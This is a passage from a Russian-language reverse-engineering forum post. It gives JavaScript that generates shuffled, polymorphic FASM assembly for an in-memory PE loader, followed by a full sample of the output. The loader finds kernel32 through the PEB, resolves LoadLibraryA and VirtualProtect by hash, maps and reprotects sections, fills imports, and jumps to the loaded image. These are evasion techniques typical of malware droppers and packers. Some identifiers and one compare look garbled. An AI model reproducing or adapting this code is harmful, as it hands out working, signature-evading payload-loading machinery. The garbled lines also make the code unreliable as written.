    e.cmd('load_m32$r32', ['pSectionHeader', r1.i]);
    e.emit(";section execute/read/write?\n");
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i,]);
    e.emit(" and "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
    cmp "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
    jne .no_execute_read_write\n");
    e.cmd('load_c32$m32', ['PAGE_EXECUTE_READWRITE', '.section_flags']);
    e.emit(' jmp .set_memory\n.no_execute_read_write:\n');
    r2.o.unlock();
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
    e.emit(" and "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
    cmp "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
    jne .no_execute_read\n");
    e.cmd('load_c32$m32', ['PAGE_EXECUTE_READ', '.section_flags']);
    e.emit(' jmp .set_memory\n.no_execute_read:\n');
    r2.o.unlock();
    r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
    e.emit(" and "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
    cmp "+r2.s+", IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ\n\
    jne .no_read_write\n");
    e.cmd('load_c32$m32', ['PAGE_READWRITE', '.section_flags']);
    e.emit(['jmp','.set_memory\n.no_read_write:']);
    r2.o.unlock();
    e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
    e.emit(['and', r2.s , 'IMAGE_SCN_MEM_READ', ';', 'cmp', r2.s, 'IMAGE_SCN_MEM_READ', ";", 'jne', '.no_read']);
    e.cmd("load_c32$m32", ["PAGE_READONLY", ".section_flags"]);
    e.emit(["jmp", ".set_memory\n.no_read:"]);
    e.cmd('load_c32$m32', ['PAGE_NOACCESS', '.section_flags']);
    r2.o.unlock();
    rSectionHeader = e.getFreeReg(p.LOCK_REG);
    rpAPITable = e.getFreeReg(p.LOCK_REG);
    raddr = e.getFreeReg(p.LOCK_REG);
    rvprotect = e.getFreeReg(p.LOCK_REG);
    e.emit('.set_memory:\n');
    e.cmd('load_m32$r32', ['pSectionHeader', rSectionHeader.i]);
    e.cmd('load_r32$m32', [raddr.i, rSectionHeader.s + ' + IMAGE_SECTION_HEADER.VirtualAddress']);
    e.emit(['add', raddr.s, 'DWORD [pImageBase]']);
    e.cmd('load_m32$r32', ['pAPITable', rpAPITable.i]);
    e.emit(['lea', rvprotect.s, '[.vprotect_ret]', ';', 'stdcall', 'DWord ['+rpAPITable.s+' + stAPITable.pVirtualProtect_kernel32], '+raddr.s+',\
    ['+rSectionHeader.s+' + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], '+rvprotect.s] );
    e.cmd('checkz_r32', [p.REG_EAX]);
    e.emit(['jz', '.Exit']);
    e.cmd('inc_m32', ['iResult'])
    e.emit('.Exit:\n');
    e.setUseForResult('iResult');
    };

    var setPermissions = 'proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
    local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD\n\n\
    pushad\n\
    xor eax, eax\n\
    mov [.retval], eax\n\
    mov edx, [pImageFileHeader]\n\
    movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
    mov [.number_of_sections], eax\n\
    add edx, sizeof.IMAGE_FILE_HEADER\n\
    mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]\n\
    mov [.image_base], eax\n\
    lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]\n\
    mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]\n\
    mov edx, sizeof.IMAGE_DATA_DIRECTORY\n\
    mul edx\n\
    add eax, ebx\n\
    mov [.section_headers], eax\n\
    mov eax, sizeof.IMAGE_SECTION_HEADER\n\
    mov edx, [.number_of_sections]\n\
    mul edx\n\
    add eax, [.section_headers]\n\
    mov ebx, [pFileImageBase]\n\
    sub eax, ebx\n\
    mov [.pe_header_size], eax\n\
    mov edx, [APITable]\n\
    lea eax, [.vprotect_ret]\n\
    stdcall dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax\n\
    test eax, eax\n\
    jz .exit\n\
    mov ecx, [.number_of_sections]\n\
    mov ebx, [.section_headers]\n\
    .load_section_loop:\n\
    stdcall setSection, [APITable], ebx, [.image_base], [pFileImageBase]\n\
    test eax, eax\n\
    jz .exit\n\
    add ebx, sizeof.IMAGE_SECTION_HEADER\n\
    loop .load_section_loop\n\
    inc [.retval]\n\
    .exit:\n\
    popad\n\
    mov eax, [.retval]\n\
    ret\n\
    endp';

    var loadFile = 'proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
    local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD\n\n\
    pushad\n\
    xor eax, eax\n\
    mov [.retval], eax\n\
    mov edx, [pImageFileHeader]\n\
    movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
    mov [.iSectNum], eax \n\
    mov eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FIL E_HEADER]\n\
    mov [.pImageBase], eax\n\
    lea eax, [edx+sizeof.IMAGE_FILE_HEADER]\n\
    mov [.pImageOptionalHeader], eax\n\
    mov eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]\n\
    lea edx, [.dwProtectBuff]\n\
    mov ebx, [pAPITable]\n\
    stdcall DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx\n\
    test eax, eax\n\
    jz .Exit\n\
    mov edx, [.pImageOptionalHeader] \n'+
    _.shuffle([' lea ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]',
    ' mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]']).join('\n')+'\n'+'\
    mov edx, sizeof.IMAGE_DATA_DIRECTORY\n\
    mul edx\n\
    add eax, ebx\n\
    mov [.pSectionHeaders], eax\n\
    mov eax, sizeof.IMAGE_SECTION_HEADER\n\
    mov edx, [.iSectNum]\n\
    mul edx\n'+
    _.shuffle([' add eax, [.pSectionHeaders]', ' mov ebx, [pFileImageBase]']).join('\n')+'\n'+'\
    sub eax, ebx\n\
    mov [.iPEHeaderSize], eax\n\
    mov edi, [.pImageBase]\n\
    mov esi, [pFileImageBase]\n\
    mov ecx, [.iPEHeaderSize]\n\
    rep movsb\n\
    mov ecx, [.iSectNum]\n\
    mov ebx, [.pSectionHeaders]\n\
    .load_section_loop:\n\
    stdcall loadSection, ebx, [.pImageBase], [pFileImageBase]\n\
    test eax, eax\n\
    jz .Exit\n\
    add ebx, sizeof.IMAGE_SECTION_HEADER\n\
    dec ecx\n\
    jnz .load_section_loop\n\
    inc [.retval]\n\
    .Exit:\n\
    popad\n\
    mov eax, [.retval]\n\
    ret\n\
    endp \n';

    var loadImportTable = 'proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD\n\n\
    local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD\n\n\
    pushad\n\
    xor eax, eax\n\
    inc eax\n\
    mov [.retval], eax\n\
    mov edx, [image_base]\n\
    mov eax, [edx + IMAGE_DOS_HEADER.e_lfanew]\n\
    lea eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.D ataDirectory+sizeof.IMAGE_DATA_DIRECTORY]\n\
    mov eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]\n\
    add eax, edx\n\
    mov [.import_table],eax\n\
    lea edi, [.null_directory_entry]\n\
    mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
    mov al, 0h\n\
    rep stosb\n\
    mov ebx, [.import_table]\n\
    .next_directory_entry:\n\
    lea esi, [.null_directory_entry]\n\
    mov edi, ebx\n\
    mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
    rep cmpsb\n\
    je .exit_success\n\
    stdcall loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx\n\
    test eax, eax\n\
    jz .exit_error\n\
    add ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
    jmp .next_directory_entry\n\
    .exit_success:\n\
    inc [.retval]\n\
    .exit_error:\n\
    popad\n\
    mov eax, [.retval]\n\
    ret\n\
    endp\n';

    loadImportDirectoryTable = 'proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD\n\n\
    local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD\n\
    pushad\n\
    mov eax, [directory_entry]\n\
    mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]\n\
    add eax, [image_base]\n\
    ;load the corresponding dll\n\
    mov ebx, [APITable]\n\
    stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax\n\
    test eax,eax\n\
    jz .exit_error\n\
    mov [.dll_image_base],eax\n\
    mov edx, [directory_entry]\n\
    mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]\n\
    add eax, [image_base]\n\
    mov [.lookup_table], eax\n\
    mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]\n\
    add eax, [image_base]\n\
    mov [.import_address_table],eax\n\
    xor ecx, ecx\n\n\
    .next_lookup_entry:\n\
    mov eax, [.lookup_table]\n\
    add eax, ecx\n\
    mov eax, [eax]\n\
    test eax,eax\n\
    jz .exit_success\n\
    mov ebx, eax\n\
    and eax, IMAGE_ORDINAL_FLAG32\n\
    jnz .exit_error\n\
    .byname:\n\
    add ebx, [image_base]\n\
    lea ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]\n\
    mov eax, ebx\n\
    push ecx\n\
    stdcall GetHashSz, ebx\n\
    stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax\n\
    pop ecx\n\
    test eax, eax\n\
    jz .exit_error\n\
    mov ebx, [.import_address_table]\n\
    add ebx, ecx\n\
    mov [ebx], eax\n\
    add ecx, 4\n\
    jmp .next_lookup_entry\n\
    .exit_success:\n\
    popad\n\
    xor eax,eax\n\
    inc eax\n\
    ret\n\
    .exit_error:\n\
    popad\n\
    xor eax, eax\n\
    ret\n\
    endp\n';

    function fVerifyPE(e, r, v) {
    var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
    e.cmd('load_m32$r32', ['pImagePE', r1.i]);
    e.cmd('check_c16$m16', [0x5A4D, r1.s])
    e.emit(['jnz', '.Exit']);
    e.cmd('load_m32$r32', [r1.s+'+IMAGE_DOS_HEADER.e_lfanew', r2.i]);
    e.cmd('add_r32$r32', [r2.i, r1.i]);
    r2.o.unlock();
    e.cmd('check_c32$m32', [0x4550, r1.s]);
    e.emit(['jne', '.Exit']);
    e.cmd('add_c32$r32', [0x4, r1.i]);
    e.emit('.Exit:\n');
    e.setUseForResult(r1.i);
    };

    function fLoadPE(e, r, v, prm){
    headerz = tc.followApiTable(e, prm.ta);
    v.add('pImageBase'); v.add('pFileHeader'); v.add('pAPITable');
    eval(_.shuffle([" e.cmd('load_c32$m32', [prm.imagebase, 'pImageBase']);",
    "var rx = e.getFreeReg(p.LOCK_REG); e.emit(['lea', rx.s, '[APITable]']);\
    e.cmd('load_r32$m32', [rx.i, 'pAPITable']); rx.o.unlock();"]).join('\n'));
    e.emit(['stdcall', 'verifyPE', '[pPEImage]']);
    e.cmd('checkz_r32', [p.REG_EAX]);
    e.emit(['jz', '.End']);
    e.cmd('load_r32$m32', [p.REG_EAX, 'pFileHeader']);
    e.emit(['stdcall', 'loadFile', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
    e.cmd('checkz_r32', [p.REG_EAX]);
    e.emit(['jz', '.End']);
    e.emit(['stdcall', 'loadImportTable', '[pAPITable]', '[pGetHashSz]', '[pImageBase]']);
    e.cmd('checkz_r32', [p.REG_EAX]);
    e.emit(['jz', '.End']);
    e.emit(['stdcall', 'setPermissions', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
    e.emit(['mov', 'esi', '[pFileHeader]', ';', 'mov', 'eax', '[esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER 32.AddressOfEntryPoint]']);
    e.emit(['add', 'eax', '[pImageBase]']);
    e.emit(['jmp', 'eax']);
    e.emit('.End:\n');
    };

    var oVerifyPE = tc.CodeSnippet('verifyPE', 'stdcall', ['pImagePE'], fVerifyPE);
    var oMainFnc = tc.CodeSnippet('loadPE_main', 'stdcall', ['pPEImage', 'pMyAddr'], fLoadPE, {ta:tableApi, imagebase: 0x400000});
    var oSetSection = tc.CodeSnippet('setSection', 'stdcall', ['pAPITable', 'pSectionHeader', 'pImageBase', 'pFileImageBase'], fSetSection);
    //console.log(oMainFnc.code);

    var code = headerz + _.shuffle([oMainFnc.code, oVerifyPE.code, loadSection, loadFile, setPermissions, oSetSection.code, procz[0].code,
    procz[1].code, procz[2].code, procz[3].code, loadImportTable, loadImportDirectoryTable]).join('\n');
    var xcode = "use32\n\nformat binary\n\ninclude '%FASM%\\INCLUDE\\win32a.inc'\ninclude 'pe.inc'\n\nstart:\n\njmp loadPE_main\n\n"+code;
    fs.writeFileSync('libloadpe.asm', xcode);

    Пример получаемого кода
    Code: ASM

    use32

    format binary

    include '%FASM%\INCLUDE\win32a.inc'
    include 'pe.inc'

    start:

    jmp loadPE_main

    struct stAPITable
    pVirtualProtect_kernel32 dd ?
    pLoadLibraryA_kernel32 dd ?
    ends

    proc AltGetProcAddressByHash hLib, fHashProc, iHashVal
    local iResult:DWORD
    pusha
    mov ecx, DWord [hLib]
    mov DWord [iResult], DWORD 0x0
    cmp Word [ecx], WORD 0x5a4d
    jne .End
    movzx edi, Word [ecx+0x3c]
    lea edi, [ecx+edi]
    cmp DWord [edi], DWORD 0x4550
    jne .End
    mov eax, DWord [edi+0x78]
    lea eax, [ecx+eax]
    mov ebx, DWord [eax+0x18]
    push eax
    xor esi, esi
    push DWord [eax+0x20]
    pop edx
    lea edx, [ecx+edx]
    .MainLoop:
    mov eax, DWord [edx]
    lea eax, [ecx+eax]
    push eax
    stdcall [fHashProc], eax
    cmp eax, DWord [iHashVal]
    pop eax
    jz .FoundProcname
    sub esi, -1
    lea edx, [edx+0x4]
    sub ebx, 0x1
    or ebx, ebx
    jnz .MainLoop
    pop edi
    jmp .End
    .FoundProcname:
    pop edx
    shl esi, 1
    add esi, DWord [edx+0x24]
    movzx eax, Word [esi+ecx]
    lea eax, [eax*4+ecx]
    add eax, DWord [edx+0x1C]
    mov edx, DWord [eax]
    lea edx, [ecx+edx]
    push edx
    pop DWord [iResult]
    .End:
    popa
    mov eax, DWord [iResult]
    ret
    endp

    proc loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD

    local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD

    pushad
    xor eax, eax
    mov [.retval], eax
    mov edx, [pImageFileHeader]
    movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
    mov [.iSectNum], eax
    mov eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FIL E_HEADER]
    mov [.pImageBase], eax
    lea eax, [edx+sizeof.IMAGE_FILE_HEADER]
    mov [.pImageOptionalHeader], eax
    mov eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
    lea edx, [.dwProtectBuff]
    mov ebx, [pAPITable]
    stdcall DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx
    test eax, eax
    jz .Exit
    mov edx, [.pImageOptionalHeader]
    lea ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
    mov eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
    mov edx, sizeof.IMAGE_DATA_DIRECTORY
    mul edx
    add eax, ebx
    mov [.pSectionHeaders], eax
    mov eax, sizeof.IMAGE_SECTION_HEADER
    mov edx, [.iSectNum]
    mul edx
    add eax, [.pSectionHeaders]
    mov ebx, [pFileImageBase]
    sub eax, ebx
    mov [.iPEHeaderSize], eax
    mov edi, [.pImageBase]
    mov esi, [pFileImageBase]
    mov ecx, [.iPEHeaderSize]
    rep movsb
    mov ecx, [.iSectNum]
    mov ebx, [.pSectionHeaders]
    .load_section_loop:
    stdcall loadSection, ebx, [.pImageBase], [pFileImageBase]
    test eax, eax
    jz .Exit
    add ebx, sizeof.IMAGE_SECTION_HEADER
    dec ecx
    jnz .load_section_loop
    inc [.retval]
    .Exit:
    popad
    mov eax, [.retval]
    ret
    endp

    proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD

    local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
    pushad
    mov eax, [directory_entry]
    mov eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
    add eax, [image_base]
    ;load the corresponding dll
    mov ebx, [APITable]
    stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax
    test eax,eax
    jz .exit_error
    mov [.dll_image_base],eax
    mov edx, [directory_entry]
    mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
    add eax, [image_base]
    mov [.lookup_table], eax
    mov eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
    add eax, [image_base]
    mov [.import_address_table],eax
    xor ecx, ecx

    .next_lookup_entry:
    mov eax, [.lookup_table]
    add eax, ecx
    mov eax, [eax]
    test eax,eax
    jz .exit_success
    mov ebx, eax
    and eax, IMAGE_ORDINAL_FLAG32
    jnz .exit_error
    .byname:
    add ebx, [image_base]
    lea ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]
    mov eax, ebx
    push ecx
    stdcall GetHashSz, ebx
    stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax
    pop ecx
    test eax, eax
    jz .exit_error
    mov ebx, [.import_address_table]
    add ebx, ecx
    mov [ebx], eax
    add ecx, 4
    jmp .next_lookup_entry
    .exit_success:
    popad
    xor eax,eax
    inc eax
    ret
    .exit_error:
    popad
    xor eax, eax
    ret
    endp

    proc verifyPE pImagePE
    push esi
    push DWord [pImagePE]
    pop eax
    cmp Word [eax], WORD 0x5a4d
    jnz .Exit
    push DWord [eax+IMAGE_DOS_HEADER.e_lfanew]
    pop esi
    lea eax, [esi+eax]
    cmp DWord [eax], DWORD 0x4550
    jne .Exit
    lea eax, [eax+0x4]
    .Exit:
    pop esi
    ret
    endp

    proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD

    local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD

    pushad
    xor eax, eax
    mov [.retval], eax
    mov edx, [pImageFileHeader]
    movzx eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
    mov [.number_of_sections], eax
    add edx, sizeof.IMAGE_FILE_HEADER
    mov eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
    mov [.image_base], eax
    lea ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
    mov eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
    mov edx, sizeof.IMAGE_DATA_DIRECTORY
    mul edx
    add eax, ebx
    mov [.section_headers], eax
    mov eax, sizeof.IMAGE_SECTION_HEADER
    mov edx, [.number_of_sections]
    mul edx
    add eax, [.section_headers]
    mov ebx, [pFileImageBase]
    sub eax, ebx
    mov [.pe_header_size], eax
    mov edx, [APITable]
    lea eax, [.vprotect_ret]
    stdcall dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax
    test eax, eax
    jz .exit
    mov ecx, [.number_of_sections]
    mov ebx, [.section_headers]
    .load_section_loop:
    stdcall setSection, [APITable], ebx, [.image_base], [pFileImageBase]
    test eax, eax
    jz .exit
    add ebx, sizeof.IMAGE_SECTION_HEADER
    loop .load_section_loop
    inc [.retval]
    .exit:
    popad
    mov eax, [.retval]
    ret
    endp
    proc setSection pAPITable, pSectionHeader, pImageBase, pFileImageBase
    local .section_flags:DWORD
    local iResult:DWORD
    local .vprotect_ret:DWORD
    push edi
    push esi
    push edx
    push ecx
    push eax
    mov DWord [iResult], DWORD 0x0
    push DWord [pSectionHeader]
    pop edi
    ;section execute/read/write?
    push DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    pop edx
    and edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    cmp edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
    jne .no_execute_read_write
    push PAGE_EXECUTE_READWRITE
    pop DWord [.section_flags]
    jmp .set_memory
    .no_execute_read_write:
    mov esi, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    and esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    cmp esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    jne .no_execute_read
    push PAGE_EXECUTE_READ
    pop DWord [.section_flags]
    jmp .set_memory
    .no_execute_read:
    mov ecx, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    and ecx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
    cmp ecx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
    jne .no_read_write
    push PAGE_READWRITE
    pop DWord [.section_flags]
    jmp .set_memory
    .no_read_write:
    push DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
    pop ecx
    and ecx, IMAGE_SCN_MEM_READ
    cmp ecx, IMAGE_SCN_MEM_READ
    jne .no_read
    push PAGE_READONLY
    pop DWord [.section_flags]
    jmp .set_memory
    .no_read:
    mov DWord [.section_flags], PAGE_NOACCESS
    .set_memory:
    mov ecx, DWord [pSectionHeader]
    mov DWord [ecx + IMAGE_SECTION_HEADER.VirtualAddress], eax
    add eax, DWORD [pImageBase]
    mov edx, DWord [pAPITable]
    lea esi, [.vprotect_ret]
    stdcall DWord [edx + stAPITable.pVirtualProtect_kernel32], eax, [ecx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], esi
    or eax, eax
    jz .Exit
    sub DWord [iResult], -1
    .Exit:
    pop eax
    pop ecx
    pop edx
    pop esi
    pop edi
    push DWord [iResult]
    pop eax
    ret
    endp

    proc GetK32
    local iResult:DWORD
    push esi
    push ecx
    push ebx
    push eax
    mov eax, DWord [fs:0x30]
    push DWord [eax+0xC]
    pop ebx
    push DWord [ebx+0x1C]
    pop esi
    .NextModule:
    push DWord [esi+0x8]
    pop DWord [iResult]
    mov eax, DWord [esi+0x20]
    push DWord [esi]
    pop esi
    movzx ecx, Byte [eax+0x18]
    test ecx, ecx
    jne .NextModule
    movzx ecx, Byte [eax]
    cmp ecx, 0x6b
    je .Found_K32
    cmp ecx, 0x4b
    jne .NextModule
    .Found_K32:
    pop eax
    pop ebx
    pop ecx
    pop esi
    push DWord [iResult]
    pop eax
    ret
    endp

    proc GetHashSz strz
    push esi
    push edx
    push DWord [strz]
    pop esi
    push DWORD 0x0
    pop edx
    push edx
    .CalcHash:
    ror edx, 7
    xor [esp], edx
    mov dl, Byte [esi]
    sub esi, -1
    or dl, dl
    jnz .CalcHash
    pop eax
    pop edx
    pop esi
    ret
    endp

    proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD

    local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD

    pushad
    xor eax, eax
    inc eax
    mov [.retval], eax
    mov edx, [image_base]
    mov eax, [edx + IMAGE_DOS_HEADER.e_lfanew]
    lea eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.D ataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
    mov eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]
    add eax, edx
    mov [.import_table],eax
    lea edi, [.null_directory_entry]
    mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    mov al, 0h
    rep stosb
    mov ebx, [.import_table]
    .next_directory_entry:
    lea esi, [.null_directory_entry]
    mov edi, ebx
    mov ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    rep cmpsb
    je .exit_success
    stdcall loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx
    test eax, eax
    jz .exit_error
    add ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR
    jmp .next_directory_entry
    .exit_success:
    inc [.retval]
    .exit_error:
    popad
    mov eax, [.retval]
    ret
    endp

    proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD

    pushad
    mov esi, [pFileImageBase]
    mov edx, [pSectionHeader]
    mov ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
    mov edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
    add edi, [image_base]
    add esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
    cld
    rep movsb
    popad
    ret
    endp

    proc loadPE_main pPEImage, pMyAddr
    local APITable:QWORD
    local pFileHeader:DWORD
    local hkernel32:DWORD
    local iResult:DWORD
    local pImageBase:DWORD
    local pAPITable:DWORD
    local pGetHashSz:DWORD
    push esi
    mov ebx, DWord [pMyAddr]
    lea ebx, [ebx+GetHashSz]
    push ebx
    pop DWord [pGetHashSz]
    call GetK32
    mov DWord [hkernel32], eax
    stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722
    push eax
    pop DWord [APITable+stAPITable.pLoadLibraryA_kernel32]
    stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80
    mov DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax
    lea esi, [APITable]
    mov DWord [pAPITable], esi
    mov DWord [pImageBase], DWORD 0x400000
    stdcall verifyPE, [pPEImage]
    test eax, eax
    jz .End
    mov DWord [pFileHeader], eax
    stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage]
    test eax, eax
    jz .End
    stdcall loadImportTable, [pAPITable], [pGetHashSz], [pImageBase]
    test eax, eax
    jz .End
    stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage]
    mov esi, [pFileHeader]
    mov eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER 32.AddressOfEntryPoint]
    add eax, [pImageBase]
    jmp eax
    .End:
    pop esi
    push DWord [iResult]
    pop eax
    ret
    endp

    proc GetNtdll
    local iResult:DWORD
    pusha
    push DWord [fs:0x30]
    pop edx
    push DWord [edx+0xC]
    pop ebx
    push DWord [ebx+0x1C]
    pop edi
    push DWord [edi+0x8]
    pop DWord [iResult]
    popa
    push DWord [iResult]
    pop eax
    ret
    endp

    Изначально написано для украинского форума программистов
    Attached Files
    Last edited by dukeBarman; 30-03-2016 at 08:31. Reason: Поправил теги

  2. 3 пользователя(ей) сказали cпасибо:
    Dark Koder (31-12-2014) Guffi (04-01-2015) dukeBarman (02-01-2015)
+ Reply to Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:27
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org